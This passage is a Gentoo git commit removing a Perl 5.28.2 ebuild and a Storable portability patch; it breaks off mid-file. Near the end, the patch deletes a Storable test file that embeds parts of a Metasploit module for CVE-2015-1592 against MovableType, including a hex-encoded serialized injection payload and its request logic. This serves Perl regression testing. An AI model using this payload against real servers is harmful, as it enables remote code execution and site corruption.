1 |
commit: 7268c0f204bf6a717294a0c2dd2cbf22392ddb66 |
2 |
Author: Jory Pratt <anarchy <AT> gentoo <DOT> org> |
3 |
AuthorDate: Fri May 3 14:27:58 2019 +0000 |
4 |
Commit: Jory Pratt <anarchy <AT> gentoo <DOT> org> |
5 |
CommitDate: Fri May 3 14:27:58 2019 +0000 |
6 |
URL: https://gitweb.gentoo.org/proj/musl.git/commit/?id=7268c0f2 |
7 |
|
8 |
dev-lang/perl: 5.28.2-r1 fixed in tree |
9 |
|
10 |
Package-Manager: Portage-2.3.66, Repoman-2.3.12 |
11 |
Signed-off-by: Jory Pratt <anarchy <AT> gentoo.org> |
12 |
|
13 |
dev-lang/perl/Manifest | 3 - |
14 |
.../perl/files/5.28/perl-5.28.2-portability.patch | 976 --------------------- |
15 |
dev-lang/perl/perl-5.28.2.ebuild | 657 -------------- |
16 |
3 files changed, 1636 deletions(-) |
17 |
|
18 |
diff --git a/dev-lang/perl/Manifest b/dev-lang/perl/Manifest |
19 |
index 9c51b06..ad86139 100644 |
20 |
--- a/dev-lang/perl/Manifest |
21 |
+++ b/dev-lang/perl/Manifest |
22 |
@@ -1,6 +1,3 @@ |
23 |
DIST perl-5.26.2-patches-1.tar.xz 17100 BLAKE2B 681239e438945285e006ee1d1e2a9eb888fc9b425e6fbd4822e65e1fe1ced2216de76485b9792d3fee28783a588c09e1d34c294ef43d81055c4566af37fe9b6c SHA512 2a274150d2dba406c6efb67ec236f67032a51ff1788b30ea556e74b2f02fab68f5029ebd4b9d4daeb16b3a63fa7aa1744d323bf637a9d21946f19f33b69da245 |
24 |
DIST perl-5.26.3.tar.xz 11957032 BLAKE2B 3cd5332a0bede16608b1626b0b9903d71105784411c7acf2fd8c0e7637a2ab5049e650bdaba574584ed51a70cc21dfbee5557963717d52c4af9c8bd8e8ef80a1 SHA512 1126ead4f9cc313548e875b6dc9cd1f56f6fef4406f3fd1c108c5cad0db92c8cd0f9bde5b82d78d8f2bd67709c438e87dd45f26b98f327ba31b05b39acc3b299 |
25 |
-DIST perl-5.28.2-patches-2.tar.xz 17332 BLAKE2B 74977d4b08e891225a3e0408473df048f6999a1a5044cb68dd205c3a95d5dcceafdaf59c277fd0a0853d5e818c2011434a88aee095cdfcb8ddc393e3a95f93c2 SHA512 b095f7966b8f09f64a6d7e425de91457ecdfddf7d2e73c5ab93632babcd37d0ab74175139484ed019aac09bc4c17ddce38eb75cebc3a80e4d47bbf7b15624c18 |
26 |
-DIST perl-5.28.2.tar.xz 12374448 BLAKE2B 82a49fcf3c29ff7241fae7ffaa1bf9f99d8cbfa6d00d5fd9ff7c3c23a461287322e12acba318c8de8507092e33b05549142bc5194bdb4b516994c9cdc0cb3f92 SHA512 0f2e4f7cb5d8cf6e00054b3842907e29b6c85902d97fb881d5bea65edbc875fef4e15e064561fac7c8db4939586576dd76a225026c7cca9624261c887b1fdb08 |
27 |
DIST perl-cross-1.1.9.tar.gz 102939 BLAKE2B 438ea75a14c4d60fdf3cb2f3671c736d229a83af210ba4fe6e79b989c6c4b45500d0221ec65bc71e1d43d234ec1daa20b3a19be6ceb01e638810900dbe3664a7 SHA512 002441012bd31f1ea71341707d91f89b76266c187c9d28f947ed5eddbcc6e3155e8dfd4b1814331561c3557764fea25bf6a938f08bcd4adfb5895361ad5a269a |
28 |
-DIST perl-cross-1.2.2.tar.gz 106073 BLAKE2B c4eaf5d60dd0ac88a9653cea399f5583a699d35f94a69a36ef9d3cde0017901ff68029f12a3af6e0fd34d46accbb6be009167fadb790da8065f6b85115f1c9b8 SHA512 49dc190018b891daac68a954e2a9bab6294920f02b585c530dcc47af03e8ab51d402455202d45121fa206ee743986ddd50323658c179d2c15cb6af7a2eb0958c |
29 |
|
30 |
diff --git a/dev-lang/perl/files/5.28/perl-5.28.2-portability.patch b/dev-lang/perl/files/5.28/perl-5.28.2-portability.patch |
31 |
deleted file mode 100644 |
32 |
index 38d4027..0000000 |
33 |
--- a/dev-lang/perl/files/5.28/perl-5.28.2-portability.patch |
34 |
+++ /dev/null |
35 |
@@ -1,976 +0,0 @@ |
36 |
-From 841cea7b099fc12274991dda349a86b1ce8059da Mon Sep 17 00:00:00 2001 |
37 |
-From: Andreas K. Hüttel <dilfridge@g.o> |
38 |
-Date: Fri, 19 Apr 2019 21:16:33 +0000 |
39 |
-Subject: [PATCH] Fix Storable for non glibc systems |
40 |
- |
41 |
---- |
42 |
- MANIFEST | 1 - |
43 |
- Makefile.SH | 25 --- |
44 |
- Porting/Maintainers.pl | 4 +- |
45 |
- dist/Storable/ChangeLog | 30 ++++ |
46 |
- dist/Storable/Makefile.PL | 46 +----- |
47 |
- dist/Storable/__Storable__.pm | 35 ++-- |
48 |
- dist/Storable/stacksize | 77 ++------- |
49 |
- dist/Storable/t/CVE-2015-1592.inc | 261 ------------------------------ |
50 |
- dist/Storable/t/CVE-2015-1592.t | 25 ++- |
51 |
- dist/Storable/t/dclone.t | 2 + |
52 |
- dist/Storable/t/recurse.t | 4 +- |
53 |
- dist/Storable/t/threads.t | 4 + |
54 |
- mkppport.lst | 1 + |
55 |
- win32/GNUmakefile | 12 +- |
56 |
- win32/Makefile | 10 +- |
57 |
- win32/makefile.mk | 15 +- |
58 |
- 16 files changed, 103 insertions(+), 449 deletions(-) |
59 |
- delete mode 100644 dist/Storable/t/CVE-2015-1592.inc |
60 |
- |
61 |
-diff --git a/MANIFEST b/MANIFEST |
62 |
-index a6b5fe5..0f07fec 100644 |
63 |
---- a/MANIFEST |
64 |
-+++ b/MANIFEST |
65 |
-@@ -3716,7 +3716,6 @@ dist/Storable/t/code.t See if Storable works |
66 |
- dist/Storable/t/compat01.t See if Storable works |
67 |
- dist/Storable/t/compat06.t See if Storable works |
68 |
- dist/Storable/t/croak.t See if Storable works |
69 |
--dist/Storable/t/CVE-2015-1592.inc See if Storable works |
70 |
- dist/Storable/t/CVE-2015-1592.t See if Storable works |
71 |
- dist/Storable/t/dclone.t See if Storable works |
72 |
- dist/Storable/t/destroy.t Test Storable in global destructon |
73 |
-diff --git a/Makefile.SH b/Makefile.SH |
74 |
-index 61970d4..7440fc2 100755 |
75 |
---- a/Makefile.SH |
76 |
-+++ b/Makefile.SH |
77 |
-@@ -189,15 +189,11 @@ esac |
78 |
- |
79 |
- : is Cwd static or dynamic |
80 |
- static_cwd='define' |
81 |
--storable_limit_dep='' |
82 |
--storable_type='' |
83 |
- list_util_dep='$(PERL_EXE)' |
84 |
- for f in $dynamic_ext; do |
85 |
- case $f in |
86 |
- Cwd) static_cwd='undef' ;; |
87 |
- List/Util) list_util_dep=lib/auto/List/Util/Util.$dlext ;; |
88 |
-- Storable) storable_limit_dep=lib/auto/Storable/Storable.$dlext |
89 |
-- storable_type='dynamic' ;; |
90 |
- esac |
91 |
- done |
92 |
- |
93 |
-@@ -234,7 +230,6 @@ for f in $static_ext; do |
94 |
- $this_target: lib/auto/List/Util/Util\$(LIB_EXT)" ;; |
95 |
- Unicode/Normalize) extra_dep="$extra_dep |
96 |
- $this_target: uni.data" ;; |
97 |
-- Storable) storable_type='static' ;; |
98 |
- esac |
99 |
- done |
100 |
- |
101 |
-@@ -1201,26 +1196,6 @@ no_install no-install: install-notify |
102 |
- install: install-all |
103 |
- !NO!SUBS! |
104 |
- |
105 |
--if test "$storable_type" != "" ; then |
106 |
-- |
107 |
--case "$static_cwd" in |
108 |
--undef) storable_limit_dep="$storable_limit_dep lib/auto/Cwd/Cwd.$dlext" ;; |
109 |
--esac |
110 |
-- |
111 |
--$spitshell >>$Makefile <<EOT |
112 |
-- |
113 |
--dist/Storable/lib/Storable/Limit.pm : \$(PERL_EXE) dist/Storable/stacksize $storable_limit_dep |
114 |
-- cd dist/Storable ; \$(LDLIBPTH) \$(MAKE) lib/Storable/Limit.pm |
115 |
-- |
116 |
--lib/Storable/Limit.pm : dist/Storable/lib/Storable/Limit.pm |
117 |
-- test -d lib/Storable || mkdir lib/Storable |
118 |
-- cp dist/Storable/lib/Storable/Limit.pm lib/Storable/Limit.pm |
119 |
--EOT |
120 |
-- |
121 |
--common_build_deps="$common_build_deps lib/Storable/Limit.pm" |
122 |
-- |
123 |
--fi |
124 |
-- |
125 |
- for name in all notify silent strip verbose; do |
126 |
- flags="--$name"; |
127 |
- flags=`echo $flags | sed -e 's/--all//'` |
128 |
-diff --git a/Porting/Maintainers.pl b/Porting/Maintainers.pl |
129 |
-index 4f039f7..64b56a5 100755 |
130 |
---- a/Porting/Maintainers.pl |
131 |
-+++ b/Porting/Maintainers.pl |
132 |
-@@ -351,7 +351,7 @@ use File::Glob qw(:case); |
133 |
- 'EXCLUDED' => [ |
134 |
- 'PPPort.pm', # we use PPPort_pm.PL instead |
135 |
- ], |
136 |
-- 'CUSTOMIZED' => [ qw[ parts/embed.fnc ] ], |
137 |
-+ 'CUSTOMIZED' => [ qw[ parts/embed.fnc ] ], |
138 |
- }, |
139 |
- |
140 |
- 'Devel::SelfStubber' => { |
141 |
-@@ -1010,7 +1010,7 @@ use File::Glob qw(:case); |
142 |
- }, |
143 |
- |
144 |
- 'Storable' => { |
145 |
-- 'DISTRIBUTION' => 'AMS/Storable-2.51.tar.gz', |
146 |
-+ 'DISTRIBUTION' => 'XSAWYERX/Storable-3.11.tar.gz', |
147 |
- 'FILES' => q[dist/Storable], |
148 |
- 'EXCLUDED' => [ |
149 |
- qr{^t/compat/}, |
150 |
-diff --git a/dist/Storable/ChangeLog b/dist/Storable/ChangeLog |
151 |
-index 3f3076a..5e63ea6 100644 |
152 |
---- a/dist/Storable/ChangeLog |
153 |
-+++ b/dist/Storable/ChangeLog |
154 |
-@@ -1,3 +1,33 @@ |
155 |
-+unreleased |
156 |
-+ version 3.14 |
157 |
-+ * (perl #133708) don't build-time probe for stack limits at all |
158 |
-+ |
159 |
-+unreleased |
160 |
-+ version 3.12 |
161 |
-+ * (perl #133411) don't probe for stack limits with -Dusecrosscompile |
162 |
-+ |
163 |
-+2018-04-27 20:40:00 xsawyerx |
164 |
-+ version 3.11 |
165 |
-+ * Fix Strawberry Perl build failures. |
166 |
-+ |
167 |
-+2018-04-21 22:00:00 xsawyerx |
168 |
-+ Version 3.10 |
169 |
-+ * Fix binary artifacts from distribution. |
170 |
-+ |
171 |
-+2018-04-21 16:49:00 xsawyerx |
172 |
-+ Version 3.09 |
173 |
-+ * Fix "provides" in metadata (META.yml/META.json) to use the Storable |
174 |
-+ template instead of a small other file (which also didn't exist). |
175 |
-+ |
176 |
-+2018-04-21 11:23:00 xsawyerx |
177 |
-+ Version 3.08 |
178 |
-+ * (perl #132849) try to disable core files when deliberatly segfaulting. |
179 |
-+ * (perl #127743) don't probe Storable limits so much. |
180 |
-+ * (perl #132893) don't probe for Storable recursion limits on old Win32. |
181 |
-+ * (perl #132870) workaround VC2017 compiler bug. |
182 |
-+ * (perl #127743) re-work for debugging builds with MSVC. |
183 |
-+ * (perl #133039) dont build a Storable.so/.dll with a static perl build. |
184 |
-+ |
185 |
- 2018-02-07 15:08:00 tonyc |
186 |
- Version 3.06 |
187 |
- |
188 |
-diff --git a/dist/Storable/Makefile.PL b/dist/Storable/Makefile.PL |
189 |
-index 092bab4..4a39125 100644 |
190 |
---- a/dist/Storable/Makefile.PL |
191 |
-+++ b/dist/Storable/Makefile.PL |
192 |
-@@ -7,21 +7,18 @@ |
193 |
- # |
194 |
- |
195 |
- use strict; |
196 |
--use ExtUtils::MakeMaker; |
197 |
-+use warnings; |
198 |
-+use ExtUtils::MakeMaker 6.31; |
199 |
- use Config; |
200 |
- use File::Copy qw(move copy); |
201 |
- use File::Spec; |
202 |
- |
203 |
--unlink "lib/Storable/Limit.pm"; |
204 |
-- |
205 |
- my $pm = { 'Storable.pm' => '$(INST_ARCHLIB)/Storable.pm' }; |
206 |
--unless ($ENV{PERL_CORE}) { |
207 |
-- # the core Makefile takes care of this for core builds |
208 |
-- $pm->{"lib/Storable/Limit.pm"} = '$(INST_ARCHLIB)/Storable/Limit.pm'; |
209 |
--} |
210 |
- |
211 |
- WriteMakefile( |
212 |
- NAME => 'Storable', |
213 |
-+ AUTHOR => 'Perl 5 Porters', |
214 |
-+ LICENSE => 'perl', |
215 |
- DISTNAME => "Storable", |
216 |
- # We now ship this in t/ |
217 |
- # PREREQ_PM => { 'Test::More' => '0.41' }, |
218 |
-@@ -36,7 +33,7 @@ WriteMakefile( |
219 |
- { bugtracker => 'http://rt.perl.org/perlbug/' }, |
220 |
- provides => { |
221 |
- 'Storable' => { |
222 |
-- file => 'Storable_pm.PL', |
223 |
-+ file => '__Storable__.pm', |
224 |
- version => MM->parse_version('__Storable__.pm'), |
225 |
- }, |
226 |
- }, |
227 |
-@@ -81,28 +78,7 @@ sub xlinkext { |
228 |
- } |
229 |
- |
230 |
- sub depend { |
231 |
-- my $extra_deps = ""; |
232 |
-- my $options = ""; |
233 |
-- if ($ENV{PERL_CORE}) { |
234 |
-- $options = "--core"; |
235 |
-- } |
236 |
-- else { |
237 |
-- # blib.pm needs arch/lib |
238 |
-- $extra_deps = ' Storable.pm'; |
239 |
-- } |
240 |
-- my $whichperl; |
241 |
-- if ($Config::Config{usecrosscompile}) { |
242 |
-- $whichperl = '$(PERLRUN)'; |
243 |
-- } |
244 |
-- else { |
245 |
-- $whichperl = '$(FULLPERLRUNINST)'; |
246 |
-- } |
247 |
-- my $linktype = uc($_[0]->{LINKTYPE}); |
248 |
-- my $limit_pm = File::Spec->catfile('lib', 'Storable', 'Limit.pm'); |
249 |
- " |
250 |
--$limit_pm : stacksize \$(INST_$linktype)$extra_deps |
251 |
-- \$(MKPATH) \$(INST_LIB) |
252 |
-- $whichperl stacksize $options |
253 |
- |
254 |
- release : dist |
255 |
- git tag \$(VERSION) |
256 |
-@@ -112,18 +88,6 @@ release : dist |
257 |
- " |
258 |
- } |
259 |
- |
260 |
--sub test { |
261 |
-- my ($self, %attr) = @_; |
262 |
-- |
263 |
-- my $out = $self->SUPER::test(%attr); |
264 |
-- |
265 |
-- if ($ENV{PERL_CORE}) { |
266 |
-- $out =~ s!^(test(?:db)?_(?:static|dynamic)\b.*)!$1 lib/Storable/Limit.pm!gm; |
267 |
-- } |
268 |
-- |
269 |
-- $out; |
270 |
--} |
271 |
-- |
272 |
- sub postamble { |
273 |
- ' |
274 |
- all :: Storable.pm |
275 |
-diff --git a/dist/Storable/__Storable__.pm b/dist/Storable/__Storable__.pm |
276 |
-index e77b240..812675a 100644 |
277 |
---- a/dist/Storable/__Storable__.pm |
278 |
-+++ b/dist/Storable/__Storable__.pm |
279 |
-@@ -27,18 +27,18 @@ our @EXPORT_OK = qw( |
280 |
- |
281 |
- our ($canonical, $forgive_me); |
282 |
- |
283 |
--our $VERSION = '3.08_01'; |
284 |
-+our $VERSION = '3.14'; |
285 |
- |
286 |
- our $recursion_limit; |
287 |
- our $recursion_limit_hash; |
288 |
- |
289 |
--do "Storable/Limit.pm"; |
290 |
-- |
291 |
- $recursion_limit = 512 |
292 |
- unless defined $recursion_limit; |
293 |
- $recursion_limit_hash = 256 |
294 |
- unless defined $recursion_limit_hash; |
295 |
- |
296 |
-+use Carp; |
297 |
-+ |
298 |
- BEGIN { |
299 |
- if (eval { |
300 |
- local $SIG{__DIE__}; |
301 |
-@@ -54,16 +54,23 @@ BEGIN { |
302 |
- # provide a fallback implementation. |
303 |
- # |
304 |
- unless ($Storable::{logcroak} && *{$Storable::{logcroak}}{CODE}) { |
305 |
-- require Carp; |
306 |
-+ *logcroak = \&Carp::croak; |
307 |
-+ } |
308 |
-+ else { |
309 |
-+ # Log::Agent's logcroak always adds a newline to the error it is |
310 |
-+ # given. This breaks refs getting thrown. We can just discard what |
311 |
-+ # it throws (but keep whatever logging it does) and throw the original |
312 |
-+ # args. |
313 |
-+ no warnings 'redefine'; |
314 |
-+ my $logcroak = \&logcroak; |
315 |
- *logcroak = sub { |
316 |
-- Carp::croak(@_); |
317 |
-+ my @args = @_; |
318 |
-+ eval { &$logcroak }; |
319 |
-+ Carp::croak(@args); |
320 |
- }; |
321 |
- } |
322 |
- unless ($Storable::{logcarp} && *{$Storable::{logcarp}}{CODE}) { |
323 |
-- require Carp; |
324 |
-- *logcarp = sub { |
325 |
-- Carp::carp(@_); |
326 |
-- }; |
327 |
-+ *logcarp = \&Carp::carp; |
328 |
- } |
329 |
- } |
330 |
- |
331 |
-@@ -941,13 +948,13 @@ There are a few things you need to know, however: |
332 |
- |
333 |
- =item * |
334 |
- |
335 |
--Since Storable 3.05 we probe for the stack recursion limit for references, |
336 |
-+From Storable 3.05 to 3.13 we probed for the stack recursion limit for references, |
337 |
- arrays and hashes to a maximal depth of ~1200-35000, otherwise we might |
338 |
- fall into a stack-overflow. On JSON::XS this limit is 512 btw. With |
339 |
- references not immediately referencing each other there's no such |
340 |
- limit yet, so you might fall into such a stack-overflow segfault. |
341 |
- |
342 |
--This probing and the checks performed have some limitations: |
343 |
-+This probing and the checks we performed have some limitations: |
344 |
- |
345 |
- =over |
346 |
- |
347 |
-@@ -955,7 +962,9 @@ This probing and the checks performed have some limitations: |
348 |
- |
349 |
- the stack size at build time might be different at run time, eg. the |
350 |
- stack size may have been modified with ulimit(1). If it's larger at |
351 |
--run time Storable may fail the freeze() or thaw() unnecessarily. |
352 |
-+run time Storable may fail the freeze() or thaw() unnecessarily. If |
353 |
-+it's larger at build time Storable may segmentation fault when |
354 |
-+processing a deep structure at run time. |
355 |
- |
356 |
- =item * |
357 |
- |
358 |
-@@ -970,6 +979,8 @@ stack without triggering Storable's recursion protection. |
359 |
- |
360 |
- =back |
361 |
- |
362 |
-+So these now have simple defaults rather than probing at build-time. |
363 |
-+ |
364 |
- You can control the maximum array and hash recursion depths by |
365 |
- modifying C<$Storable::recursion_limit> and |
366 |
- C<$Storable::recursion_limit_hash> respectively. Either can be set to |
367 |
-diff --git a/dist/Storable/stacksize b/dist/Storable/stacksize |
368 |
-index 14e0739..f93eccc 100644 |
369 |
---- a/dist/Storable/stacksize |
370 |
-+++ b/dist/Storable/stacksize |
371 |
-@@ -1,21 +1,17 @@ |
372 |
- #!/usr/bin/perl |
373 |
- # binary search maximum stack depth for arrays and hashes |
374 |
--# and store it in lib/Storable/Limit.pm |
375 |
-+# and report it to stdout as code to set the limits |
376 |
- |
377 |
- use Config; |
378 |
- use Cwd; |
379 |
- use File::Spec; |
380 |
- use strict; |
381 |
- |
382 |
---d "lib" or mkdir "lib"; |
383 |
---d "lib/Storable" or mkdir "lib/Storable"; |
384 |
-- |
385 |
--my $fn = "lib/Storable/Limit.pm"; |
386 |
- my $ptrsize = $Config{ptrsize}; |
387 |
- my ($bad1, $bad2) = (65001, 25000); |
388 |
- sub QUIET () { |
389 |
- (defined $ENV{MAKEFLAGS} and $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/ |
390 |
-- and !defined($ENV{TRAVIS})) |
391 |
-+ and !defined($ENV{TRAVIS})) || @ARGV && $ARGV[0] eq "-q" |
392 |
- ? 1 : 0 |
393 |
- } |
394 |
- sub PARALLEL () { |
395 |
-@@ -32,11 +28,7 @@ sub is_miniperl { |
396 |
- } |
397 |
- |
398 |
- if (is_miniperl()) { |
399 |
-- if ($Config{usecrosscompile}) { |
400 |
-- write_limits(500, 265); |
401 |
-- exit; |
402 |
-- } |
403 |
-- die "Should not run during miniperl\n"; |
404 |
-+ die "Should not run using miniperl\n"; |
405 |
- } |
406 |
- my $prefix = ""; |
407 |
- if ($^O eq "MSWin32") { |
408 |
-@@ -51,58 +43,28 @@ elsif (system("ulimit -c 0 ;") == 0) { |
409 |
- # try to prevent core dumps |
410 |
- $prefix = "ulimit -c 0 ; "; |
411 |
- } |
412 |
--if (@ARGV and $ARGV[0] eq '--core') { |
413 |
-- $ENV{PERL_CORE} = 1; |
414 |
--} |
415 |
- my $PERL = $^X; |
416 |
--if ($ENV{PERL_CORE}) { |
417 |
-- my $path; |
418 |
-- my $ldlib = $Config{ldlibpthname}; |
419 |
-- if (-d 'dist/Storable') { |
420 |
-- chdir 'dist/Storable'; |
421 |
-- $PERL = "../../$PERL" unless $PERL =~ m|^/|; |
422 |
-- } |
423 |
-- if ($ldlib) { |
424 |
-- $path = getcwd()."/../.."; |
425 |
-- } |
426 |
-- if ($^O eq 'MSWin32' and -d '../dist/Storable') { |
427 |
-- chdir '..\dist\Storable'; |
428 |
-- $PERL = "..\\..\\$PERL" unless $PERL =~ /^[A-Za-z]:\\/; |
429 |
-- } |
430 |
-- $PERL = "\"$PERL\"" if $PERL =~ / /; |
431 |
-- if ($ldlib and $ldlib ne 'PATH') { |
432 |
-- $PERL = "$ldlib=$path $PERL"; |
433 |
-- } |
434 |
--} |
435 |
-- |
436 |
- if ($^O eq "MSWin32") { |
437 |
- require Win32; |
438 |
- my ($str, $major, $minor) = Win32::GetOSVersion(); |
439 |
- if ($major < 6 || $major == 6 && $minor < 1) { |
440 |
-- print "Using defaults for older Win32\n"; |
441 |
-+ print "# Using defaults for older Win32\n"; |
442 |
- write_limits(500, 256); |
443 |
- exit; |
444 |
- } |
445 |
- } |
446 |
- my ($n, $good, $bad, $found) = |
447 |
- (65000, 100, $bad1, undef); |
448 |
--print "probe for max. stack sizes...\n" unless QUIET; |
449 |
-+print "# probe for max. stack sizes...\n" unless QUIET; |
450 |
- # -I. since we're run before pm_to_blib (which is going to copy the |
451 |
- # file we create) and need to load our Storable.pm, not the already |
452 |
- # installed Storable.pm |
453 |
--my $mblib = '-Mblib -I.'; |
454 |
--if ($ENV{PERL_CORE}) { |
455 |
-- if ($^O eq 'MSWin32') { |
456 |
-- $mblib = '-I..\..\lib\auto -I..\..\lib'; |
457 |
-- } else { |
458 |
-- $mblib = '-I../../lib/auto -I../../lib'; |
459 |
-- } |
460 |
-+my $mblib = ''; |
461 |
-+if (-d 'blib') { |
462 |
-+ $mblib = '-Mblib -I.'; |
463 |
- } |
464 |
--if (PARALLEL) { |
465 |
-- # problem with parallel builds. wait for INST_DYNAMIC linking to be done. |
466 |
-- # the problem is the RM_F INST_DYNAMIC race. |
467 |
-- print "parallel build race - wait for linker ...\n" unless QUIET; |
468 |
-- sleep(2.0); |
469 |
-+elsif (-f "Configure") { |
470 |
-+ $mblib = '-Ilib'; |
471 |
- } |
472 |
- |
473 |
- sub cmd { |
474 |
-@@ -117,7 +79,7 @@ sub cmd { |
475 |
- sub good { |
476 |
- my $i = shift; # this passed |
477 |
- my $j = $i + abs(int(($bad - $i) / 2)); |
478 |
-- print "Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET; |
479 |
-+ print "# Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET; |
480 |
- $good = $i; |
481 |
- if ($j <= $i) { |
482 |
- $found++; |
483 |
-@@ -128,7 +90,7 @@ sub good { |
484 |
- sub bad { |
485 |
- my $i = shift; # this failed |
486 |
- my $j = $i - abs(int(($i - $good) / 2)); |
487 |
-- print "Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET; |
488 |
-+ print "# Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET; |
489 |
- $bad = $i; |
490 |
- if ($j >= $i) { |
491 |
- $j = $good; |
492 |
-@@ -162,7 +124,7 @@ while (!$found) { |
493 |
- $n = bad($n); |
494 |
- } |
495 |
- } |
496 |
--print "MAX_DEPTH = $n\n" unless QUIET; |
497 |
-+print "# MAX_DEPTH = $n\n" unless QUIET; |
498 |
- my $max_depth = $n; |
499 |
- |
500 |
- ($n, $good, $bad, $found) = |
501 |
-@@ -186,13 +148,13 @@ if ($max_depth == $bad1-1 |
502 |
- and $n == $bad2-1) |
503 |
- { |
504 |
- # more likely the shell. travis docker ubuntu, mingw e.g. |
505 |
-- print "Error: Apparently your system(SHELLSTRING) cannot catch stack overflows\n" |
506 |
-+ print "# Apparently your system(SHELLSTRING) cannot catch stack overflows\n" |
507 |
- unless QUIET; |
508 |
- $max_depth = 512; |
509 |
- $n = 256; |
510 |
- print "MAX_DEPTH = $max_depth\n" unless QUIET; |
511 |
- } |
512 |
--print "MAX_DEPTH_HASH = $n\n" unless QUIET; |
513 |
-+print "# MAX_DEPTH_HASH = $n\n" unless QUIET; |
514 |
- my $max_depth_hash = $n; |
515 |
- |
516 |
- # Previously this calculation was done in the macro, calculate it here |
517 |
-@@ -203,7 +165,7 @@ my $max_depth_hash = $n; |
518 |
- # several apparently random failures here, eg. working in one |
519 |
- # configuration, but not in a very similar configuration. |
520 |
- $max_depth = int(0.6 * $max_depth); |
521 |
--$max_depth_hash = int(0.6 * $max_depth); |
522 |
-+$max_depth_hash = int(0.6 * $max_depth_hash); |
523 |
- |
524 |
- my $stack_reserve = $^O eq "MSWin32" ? 32 : 16; |
525 |
- if ($] ge "5.016" && !($^O eq "cygwin" && $ptrsize == 8)) { |
526 |
-@@ -221,16 +183,11 @@ write_limits($max_depth, $max_depth_hash); |
527 |
- |
528 |
- sub write_limits { |
529 |
- my ($max_depth, $max_depth_hash) = @_; |
530 |
-- my $f; |
531 |
-- open $f, ">", $fn or die "$fn $!"; |
532 |
-- print $f <<EOS; |
533 |
-+ print <<EOS; |
534 |
- # bisected by stacksize |
535 |
- \$Storable::recursion_limit = $max_depth |
536 |
- unless defined \$Storable::recursion_limit; |
537 |
- \$Storable::recursion_limit_hash = $max_depth_hash |
538 |
- unless defined \$Storable::recursion_limit_hash; |
539 |
--1; |
540 |
- EOS |
541 |
-- close $f |
542 |
-- or die "Failed to close $fn: $!\n"; |
543 |
- } |
544 |
-diff --git a/dist/Storable/t/CVE-2015-1592.inc b/dist/Storable/t/CVE-2015-1592.inc |
545 |
-deleted file mode 100644 |
546 |
-index 481dba5..0000000 |
547 |
---- a/dist/Storable/t/CVE-2015-1592.inc |
548 |
-+++ /dev/null |
549 |
-@@ -1,261 +0,0 @@ |
550 |
--#!/usr/bin/perl |
551 |
-- |
552 |
--=pod |
553 |
-- |
554 |
--class MetasploitModule < Msf::Exploit::Remote |
555 |
-- Rank = GoodRanking |
556 |
-- |
557 |
-- include Msf::Exploit::Remote::HttpClient |
558 |
-- |
559 |
-- def initialize(info = {}) |
560 |
-- super(update_info(info, |
561 |
-- 'Name' => 'SixApart MovableType Storable Perl Code Execution', |
562 |
-- 'Description' => %q{ |
563 |
-- This module exploits a serialization flaw in MovableType before 5.2.12 to execute |
564 |
-- arbitrary code. The default nondestructive mode depends on the target server having |
565 |
-- the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. |
566 |
-- The destructive mode of operation uses only required MovableType dependencies, |
567 |
-- but it will noticeably corrupt the MovableType installation. |
568 |
-- }, |
569 |
-- 'Author' => |
570 |
-- [ |
571 |
-- 'John Lightsey', |
572 |
-- ], |
573 |
-- 'License' => MSF_LICENSE, |
574 |
-- 'References' => |
575 |
-- [ |
576 |
-- [ 'CVE', '2015-1592' ], |
577 |
-- [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ], |
578 |
-- ], |
579 |
-- 'Privileged' => false, # web server context |
580 |
-- 'Payload' => |
581 |
-- { |
582 |
-- 'DisableNops' => true, |
583 |
-- 'BadChars' => ' ', |
584 |
-- 'Space' => 1024, |
585 |
-- }, |
586 |
-- 'Compat' => |
587 |
-- { |
588 |
-- 'PayloadType' => 'cmd' |
589 |
-- }, |
590 |
-- 'Platform' => ['unix'], |
591 |
-- 'Arch' => ARCH_CMD, |
592 |
-- 'Targets' => [['Automatic', {}]], |
593 |
-- 'DisclosureDate' => 'Feb 11 2015', |
594 |
-- 'DefaultTarget' => 0)) |
595 |
-- |
596 |
-- register_options( |
597 |
-- [ |
598 |
-- OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']), |
599 |
-- OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false]) |
600 |
-- ], self.class |
601 |
-- ) |
602 |
-- |
603 |
-- end |
604 |
-- |
605 |
--=cut |
606 |
-- |
607 |
--# generate config parameters for injection checks |
608 |
-- |
609 |
--use Storable; |
610 |
-- |
611 |
--{ |
612 |
-- |
613 |
-- package XXXCHECKXXX; |
614 |
-- |
615 |
-- sub STORABLE_thaw { |
616 |
-- return 1; |
617 |
-- } |
618 |
-- |
619 |
-- sub STORABLE_freeze { |
620 |
-- return 1; |
621 |
-- } |
622 |
-- |
623 |
--} |
624 |
-- |
625 |
--my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX; |
626 |
--my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj}); |
627 |
--$frozen2 = unpack 'H*', $frozen2; |
628 |
--#print "LFI test for storable flaw is: $frozen2\n"; |
629 |
-- |
630 |
--{ |
631 |
-- package DateTime; |
632 |
-- use overload '+' => sub { 'ignored' }; |
633 |
--} |
634 |
-- |
635 |
--=pod |
636 |
-- |
637 |
-- def check |
638 |
-- vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure") |
639 |
-- res = send_request_cgi({ |
640 |
-- 'method' => 'GET', |
641 |
-- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'), |
642 |
-- 'vars_get' => { |
643 |
-- '__mode' => 'retry', |
644 |
-- 'step' => 'configure', |
645 |
-- 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078' |
646 |
-- } |
647 |
-- }) |
648 |
-- |
649 |
-- unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm") |
650 |
-- vprint_status("Failed XXXCHECKXXX.pm load test"); |
651 |
-- return Exploit::CheckCode::Safe |
652 |
-- end |
653 |
-- Exploit::CheckCode::Vulnerable |
654 |
-- end |
655 |
-- |
656 |
-- def exploit |
657 |
-- if datastore['DESTRUCTIVE'] |
